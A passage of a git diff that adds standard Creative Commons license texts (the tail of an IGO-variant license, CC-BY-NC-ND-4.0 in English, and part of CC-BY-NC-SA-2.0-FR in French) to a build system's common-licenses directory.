+ ii. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License if Your exercise of such rights is for a purpose or use which is otherwise than noncommercial as permitted under Section 4(b) and otherwise waives the right to collect royalties through any statutory or compulsory licensing scheme; and,
+
+ iii. Voluntary License Schemes. To the extent possible, the Licensor waives the right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary licensing scheme. In all other cases the Licensor expressly reserves the right to collect such royalties.
+
+ e. Except as otherwise agreed in writing by the Licensor, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the honor or reputation of the Licensor where moral rights apply.
+
+5. Representations, Warranties and Disclaimer
+
+THE LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability
+
+IN NO EVENT WILL THE LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF THE LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. Subject to the terms and conditions set forth in this License, the license granted here lasts for the duration of the term of the copyright in the Work licensed by the Licensor as stated in Section 3. Notwithstanding the above, the Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated below.
+
+ b. If You fail to comply with this License, then this License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. Notwithstanding the foregoing, this License reinstates automatically as of the date the violation is cured, provided it is cured within 30 days of You discovering the violation, or upon express reinstatement by the Licensor. For the avoidance of doubt, this Section 7(b) does not affect any rights the Licensor may have to seek remedies for violations of this License by You.
+
+8. Miscellaneous
+
+ a. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b. If any provision of this License is invalid or unenforceable, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ c. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the Licensor.
+
+ d. This License constitutes the entire agreement between You and the Licensor with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+ e. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). Interpretation of the scope of the rights granted by the Licensor and the conditions imposed on You under this License, this License, and the rights and conditions set forth herein shall be made with reference to copyright as determined in accordance with general principles of international law, including the above mentioned conventions.
+
+ f. Nothing in this License constitutes or may be interpreted as a limitation upon or waiver of any privileges and immunities that may apply to the Licensor or You, including immunity from the legal processes of any jurisdiction, national court or other authority.
+
+ g. Where the Licensor is an IGO, any and all disputes arising under this License that cannot be settled amicably shall be resolved in accordance with the following procedure:
+
+ i. Pursuant to a notice of mediation communicated by reasonable means by either You or the Licensor to the other, the dispute shall be submitted to non-binding mediation conducted in accordance with rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with those communicated in the notice of mediation. The language used in the mediation proceedings shall be English unless otherwise agreed.
+
+ ii. If any such dispute has not been settled within 45 days following the date on which the notice of mediation is provided, either You or the Licensor may, pursuant to a notice of arbitration communicated by reasonable means to the other, elect to have the dispute referred to and finally determined by arbitration. The arbitration shall be conducted in accordance with the rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with the UNCITRAL Arbitration Rules as then in force. The arbitral tribunal shall consist of a sole arbitrator and the language of the proceedings shall be English unless otherwise agreed. The place of arbitration shall be where the Licensor has its headquarters. The arbitral proceedings shall be conducted remotely (e.g., via telephone conference or written submissions) whenever practicable.
+
+ iii. Interpretation of this License in any dispute submitted to mediation or arbitration shall be as set forth in Section 8(e), above.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of the Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of this License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-4.0 b/meta/files/common-licenses/CC-BY-NC-ND-4.0
new file mode 100644
index 0000000000..6f2a684c1a
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-4.0
@@ -0,0 +1,155 @@
+Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ c. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ d. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ e. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ f. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ g. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ h. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ i. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ j. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ k. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce and reproduce, but not Share, Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material, You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ For the avoidance of doubt, You do not have permission under this Public License to Share Adapted Material.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only and provided You do not Share Adapted Material;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR b/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR
new file mode 100644
index 0000000000..9f7f9103ea
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR
@@ -0,0 +1,93 @@
+Creative Commons Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique 2.0
+
+ Creative Commons n'est pas un cabinet d'avocats et ne fournit pas de services de conseil juridique. La distribution de la présente version de ce contrat ne crée aucune relation juridique entre les parties au contrat présenté ci-après et Creative Commons. Creative Commons fournit cette offre de contrat-type en l'état, à seule fin d'information. Creative Commons ne saurait être tenu responsable des éventuels préjudices résultant du contenu ou de l'utilisation de ce contrat.
+
+Contrat
+
+L'Oeuvre (telle que définie ci-dessous) est mise à disposition selon les termes du présent contrat appelé Contrat Public Creative Commons (dénommé ici « CPCC » ou « Contrat »). L'Oeuvre est protégée par le droit de la propriété littéraire et artistique (droit d'auteur, droits voisins, droits des producteurs de bases de données) ou toute autre loi applicable. Toute utilisation de l'Oeuvre autrement qu'explicitement autorisée selon ce Contrat ou le droit applicable est interdite.
+
+L'exercice sur l'Oeuvre de tout droit proposé par le présent contrat vaut acceptation de celui-ci. Selon les termes et les obligations du présent contrat, la partie Offrante propose à la partie Acceptante l'exercice de certains droits présentés ci-après, et l'Acceptant en approuve les termes et conditions d'utilisation.
+
+1. Définitions
+
+ a. « Oeuvre » : oeuvre de l'esprit protégeable par le droit de la propriété littéraire et artistique ou toute loi applicable et qui est mise à disposition selon les termes du présent Contrat.
+
+ b. « Oeuvre dite Collective » : une oeuvre dans laquelle l'oeuvre, dans sa forme intégrale et non modifiée, est assemblée en un ensemble collectif avec d'autres contributions qui constituent en elles-mêmes des oeuvres séparées et indépendantes. Constituent notamment des Oeuvres dites Collectives les publications périodiques, les anthologies ou les encyclopédies. Aux termes de la présente autorisation, une oeuvre qui constitue une Oeuvre dite Collective ne sera pas considérée comme une Oeuvre dite Dérivée (telle que définie ci-après).
+
+ c. « Oeuvre dite Dérivée » : une oeuvre créée soit à partir de l'Oeuvre seule, soit à partir de l'Oeuvre et d'autres oeuvres préexistantes. Constituent notamment des Oeuvres dites Dérivées les traductions, les arrangements musicaux, les adaptations théâtrales, littéraires ou cinématographiques, les enregistrements sonores, les reproductions par un art ou un procédé quelconque, les résumés, ou toute autre forme sous laquelle l'Oeuvre puisse être remaniée, modifiée, transformée ou adaptée, à l'exception d'une oeuvre qui constitue une Oeuvre dite Collective. Une Oeuvre dite Collective ne sera pas considérée comme une Oeuvre dite Dérivée aux termes du présent Contrat. Dans le cas où l'Oeuvre serait une composition musicale ou un enregistrement sonore, la synchronisation de l'oeuvre avec une image animée sera considérée comme une Oeuvre dite Dérivée pour les propos de ce Contrat.
+
+ d. « Auteur original » : la ou les personnes physiques qui ont créé l'Oeuvre.
+
+ e. « Offrant » : la ou les personne(s) physique(s) ou morale(s) qui proposent la mise à disposition de l'Oeuvre selon les termes du présent Contrat.
+
+ f. « Acceptant » : la personne physique ou morale qui accepte le présent contrat et exerce des droits sans en avoir violé les termes au préalable ou qui a reçu l'autorisation expresse de l'Offrant d'exercer des droits dans le cadre du présent contrat malgré une précédente violation de ce contrat.
+
+ g. « Options du Contrat » : les attributs génériques du Contrat tels qu'ils ont été choisis par l'Offrant et indiqués dans le titre de ce Contrat : Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique.
+
+2. Exceptions aux droits exclusifs. Aucune disposition de ce contrat n'a pour intention de réduire, limiter ou restreindre les prérogatives issues des exceptions aux droits, de l'épuisement des droits ou d'autres limitations aux droits exclusifs des ayants droit selon le droit de la propriété littéraire et artistique ou les autres lois applicables.
+
+3. Autorisation. Soumis aux termes et conditions définis dans cette autorisation, et ceci pendant toute la durée de protection de l'Oeuvre par le droit de la propriété littéraire et artistique ou le droit applicable, l'Offrant accorde à l'Acceptant l'autorisation mondiale d'exercer à titre gratuit et non exclusif les droits suivants :
+
+ a. reproduire l'Oeuvre, incorporer l'Oeuvre dans une ou plusieurs Oeuvres dites Collectives et reproduire l'Oeuvre telle qu'incorporée dans lesdites Oeuvres dites Collectives;
+
+ b. créer et reproduire des Oeuvres dites Dérivées;
+
+ c. distribuer des exemplaires ou enregistrements, présenter, représenter ou communiquer l'Oeuvre au public par tout procédé technique, y compris incorporée dans des Oeuvres Collectives;
+
+ d. distribuer des exemplaires ou phonogrammes, présenter, représenter ou communiquer au public des Oeuvres dites Dérivées par tout procédé technique;
+
+ e. lorsque l'Oeuvre est une base de données, extraire et réutiliser des parties substantielles de l'Oeuvre.
+
+Les droits mentionnés ci-dessus peuvent être exercés sur tous les supports, médias, procédés techniques et formats. Les droits ci-dessus incluent le droit d'effectuer les modifications nécessaires techniquement à l'exercice des droits dans d'autres formats et procédés techniques. L'exercice de tous les droits qui ne sont pas expressément autorisés par l'Offrant ou dont il n'aurait pas la gestion demeure réservé, notamment les mécanismes de gestion collective obligatoire applicables décrits à l'article 4(e).
+
+4. Restrictions. L'autorisation accordée par l'article 3 est expressément assujettie et limitée par le respect des restrictions suivantes :
+
+
+ a. L'Acceptant peut reproduire, distribuer, représenter ou communiquer au public l'Oeuvre y compris par voie numérique uniquement selon les termes de ce Contrat. L'Acceptant doit inclure une copie ou l'adresse Internet (Identifiant Uniforme de Ressource) du présent Contrat à toute reproduction ou enregistrement de l'Oeuvre que l'Acceptant distribue, représente ou communique au public y compris par voie numérique. L'Acceptant ne peut pas offrir ou imposer de conditions d'utilisation de l'Oeuvre qui altèrent ou restreignent les termes du présent Contrat ou l'exercice des droits qui y sont accordés au bénéficiaire. L'Acceptant ne peut pas céder de droits sur l'Oeuvre. L'Acceptant doit conserver intactes toutes les informations qui renvoient à ce Contrat et à l'exonération de responsabilité. L'Acceptant ne peut pas reproduire, distribuer, représenter ou communiquer au public l'Oeuvre, y compris par voie numérique, en utilisant une mesure technique de contrôle d'accès ou de contrôle d'utilisation qui serait contradictoire avec les termes de cet Accord contractuel. Les mentions ci-dessus s'appliquent à l'Oeuvre telle qu'incorporée dans une Oeuvre dite Collective, mais, en dehors de l'Oeuvre en elle-même, ne soumettent pas l'Oeuvre dite Collective, aux termes du présent Contrat. Si l'Acceptant crée une Oeuvre dite Collective, à la demande de tout Offrant, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Collective toute référence au dit Offrant, comme demandé. Si l'Acceptant crée une Oeuvre dite Collective, à la demande de tout Auteur, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Collective toute référence au dit Auteur, comme demandé. Si l'Acceptant crée une Oeuvre dite Dérivée, à la demande de tout Offrant, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Dérivée toute référence au dit Offrant, comme demandé. Si l'Acceptant crée une Oeuvre dite Dérivée, à la demande de tout Auteur, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Dérivée toute référence au dit Auteur, comme demandé.
+
+ b. L'Acceptant peut reproduire, distribuer, représenter ou communiquer au public une Oeuvre dite Dérivée y compris par voie numérique uniquement sous les termes de ce Contrat, ou d'une version ultérieure de ce Contrat comprenant les mêmes Options du Contrat que le présent Contrat, ou un Contrat Creative Commons iCommons comprenant les mêmes Options du Contrat que le présent Contrat (par exemple Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique 2.0 Japon). L'Acceptant doit inclure une copie ou l'adresse Internet (Identifiant Uniforme de Ressource) du présent Contrat, ou d'un autre Contrat tel que décrit à la phrase précédente, à toute reproduction ou enregistrement de l'Oeuvre dite Dérivée que l'Acceptant distribue, représente ou communique au public y compris par voie numérique. L'Acceptant ne peut pas offrir ou imposer de conditions d'utilisation sur l'Oeuvre dite Dérivée qui altèrent ou restreignent les termes du présent Contrat ou l'exercice des droits qui y sont accordés au bénéficiaire, et doit conserver intactes toutes les informations qui renvoient à ce Contrat et à l'avertissement sur les garanties. L'Acceptant ne peut pas reproduire, distribuer, représenter ou communiquer au public y compris par voie numérique l'Oeuvre dite Dérivée en utilisant une mesure technique de contrôle d'accès ou de contrôle d'utilisation qui serait contradictoire avec les termes de cet Accord contractuel. Les mentions ci-dessus s'appliquent à l'Oeuvre dite Dérivée telle qu'incorporée dans une Oeuvre dite Collective, mais, en dehors de l'Oeuvre dite Dérivée en elle-même, ne soumettent pas l'Oeuvre Collective, aux termes du présent Contrat.
+
+ c. L'Acceptant ne peut exercer aucun des droits conférés par l'article 3 avec l'intention ou l'objectif d'obtenir un profit commercial ou une compensation financière personnelle. L'échange de l'Oeuvre avec d'autres Oeuvres protégées par le droit de la propriété littéraire et artistique par le partage électronique de fichiers, ou par tout autre moyen, n'est pas considéré comme un échange avec l'intention ou l'objectif d'un profit commercial ou d'une compensation financière personnelle, dans la mesure où aucun paiement ou compensation financière n'intervient en relation avec l'échange d'Oeuvres protégées.
+
+ d. Si l'Acceptant reproduit, distribue, représente ou communique au public, y compris par voie numérique, l'Oeuvre ou toute Oeuvre dite Dérivée ou toute Oeuvre dite Collective, il doit conserver intactes toutes les informations sur le régime des droits et en attribuer la paternité à l'Auteur Original, de manière raisonnable au regard au médium ou au moyen utilisé. Il doit communiquer le nom de l'Auteur Original ou son éventuel pseudonyme s'il est indiqué ; le titre de l'Oeuvre Originale s'il est indiqué ; dans la mesure du possible, l'adresse Internet ou Identifiant Uniforme de Ressource (URI), s'il existe, spécifié par l'Offrant comme associé à l'Oeuvre, à moins que cette adresse ne renvoie pas aux informations légales (paternité et conditions d'utilisation de l'Oeuvre). Dans le cas d'une Oeuvre dite Dérivée, il doit indiquer les éléments identifiant l'utilisation l'Oeuvre dans l'Oeuvre dite Dérivée par exemple « Traduction anglaise de l'Oeuvre par l'Auteur Original » ou « Scénario basé sur l'Oeuvre par l'Auteur Original ». Ces obligations d'attribution de paternité doivent être exécutées de manière raisonnable. Cependant, dans le cas d'une Oeuvre dite Dérivée ou d'une Oeuvre dite Collective, ces informations doivent, au minimum, apparaître à la place et de manière aussi visible que celles à laquelle apparaissent les informations de même nature.
+
+ e. Dans le cas où une utilisation de l'Oeuvre serait soumise à un régime légal de gestion collective obligatoire, l'Offrant se réserve le droit exclusif de collecter ces redevances par l'intermédiaire de la société de perception et de répartition des droits compétente. Sont notamment concernés la radiodiffusion et la communication dans un lieu public de phonogrammes publiés à des fins de commerce, certains cas de retransmission par câble et satellite, la copie privée d'Oeuvres fixées sur phonogrammes ou vidéogrammes, la reproduction par reprographie.
+
+5. Garantie et exonération de responsabilité
+
+
+ a. En mettant l'Oeuvre à la disposition du public selon les termes de ce Contrat, l'Offrant déclare de bonne foi qu'à sa connaissance et dans les limites d'une enquête raisonnable :
+
+ i. L'Offrant a obtenu tous les droits sur l'Oeuvre nécessaires pour pouvoir autoriser l'exercice des droits accordés par le présent Contrat, et permettre la jouissance paisible et l'exercice licite de ces droits, ceci sans que l'Acceptant n'ait aucune obligation de verser de rémunération ou tout autre paiement ou droits, dans la limite des mécanismes de gestion collective obligatoire applicables décrits à l'article 4(e);
+
+ ii. L'Oeuvre n'est constitutive ni d'une violation des droits de tiers, notamment du droit de la propriété littéraire et artistique, du droit des marques, du droit de l'information, du droit civil ou de tout autre droit, ni de diffamation, de violation de la vie privée ou de tout autre préjudice délictuel à l'égard de toute tierce partie.
+
+ b. A l'exception des situations expressément mentionnées dans le présent Contrat ou dans un autre accord écrit, ou exigées par la loi applicable, l'Oeuvre est mise à disposition en l'état sans garantie d'aucune sorte, qu'elle soit expresse ou tacite, y compris à l'égard du contenu ou de l'exactitude de l'Oeuvre.
+
+6. Limitation de responsabilité. A l'exception des garanties d'ordre public imposées par la loi applicable et des réparations imposées par le régime de la responsabilité vis-à-vis d'un tiers en raison de la violation des garanties prévues par l'article 5 du présent contrat, l'Offrant ne sera en aucun cas tenu responsable vis-à-vis de l'Acceptant, sur la base d'aucune théorie légale ni en raison d'aucun préjudice direct, indirect, matériel ou moral, résultant de l'exécution du présent Contrat ou de l'utilisation de l'Oeuvre, y compris dans l'hypothèse où l'Offrant avait connaissance de la possible existence d'un tel préjudice.
+
+7. Résiliation
+
+ a. Tout manquement aux termes du contrat par l'Acceptant entraîne la résiliation automatique du Contrat et la fin des droits qui en découlent. Cependant, le contrat conserve ses effets envers les personnes physiques ou morales qui ont reçu de la part de l'Acceptant, en exécution du présent contrat, la mise à disposition d'Oeuvres dites Dérivées, ou d'Oeuvres dites Collectives, ceci tant qu'elles respectent pleinement leurs obligations. Les sections 1, 2, 5, 6 et 7 du contrat continuent à s'appliquer après la résiliation de celui-ci.
+
